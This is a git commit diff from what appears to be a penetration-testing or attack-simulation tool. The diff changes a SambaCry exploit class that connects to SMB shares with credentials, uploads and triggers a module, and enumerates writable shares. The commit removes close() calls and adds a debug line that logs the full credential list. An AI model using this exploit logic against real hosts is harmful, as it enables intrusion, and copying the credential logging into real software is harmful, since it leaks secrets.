Fix SambaCry .close() bug

This commit is contained in:
Itay Mizeretz 2017-10-03 15:47:07 +03:00
parent 039cc1bd6c
commit 2bbd5d4824
1 changed files with 2 additions and 4 deletions

View File

@ -100,7 +100,6 @@ class SambaCryExploiter(HostExploiter):
smb_client = self.connect_to_server(host.ip_addr, creds) smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth) self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share) self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError):
LOG.debug( LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) "Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
@ -125,7 +124,6 @@ class SambaCryExploiter(HostExploiter):
# Ignore exception to try and delete as much as possible # Ignore exception to try and delete as much as possible
pass pass
smb_client.disconnectTree(tree_id) smb_client.disconnectTree(tree_id)
smb_client.close()
def get_trigger_result(self, ip, share, creds): def get_trigger_result(self, ip, share, creds):
""" """
@ -147,7 +145,6 @@ class SambaCryExploiter(HostExploiter):
pass pass
smb_client.disconnectTree(tree_id) smb_client.disconnectTree(tree_id)
smb_client.close()
return file_content return file_content
def get_writable_shares_creds_dict(self, ip): def get_writable_shares_creds_dict(self, ip):
@ -159,6 +156,8 @@ class SambaCryExploiter(HostExploiter):
writable_shares_creds_dict = {} writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list() credentials_list = self.get_credentials_list()
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
for credentials in credentials_list: for credentials in credentials_list:
try: try:
smb_client = self.connect_to_server(ip, credentials) smb_client = self.connect_to_server(ip, credentials)
@ -169,7 +168,6 @@ class SambaCryExploiter(HostExploiter):
if self.is_share_writable(smb_client, share): if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials writable_shares_creds_dict[share] = credentials
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others. # If failed using some credentials, try others.
pass pass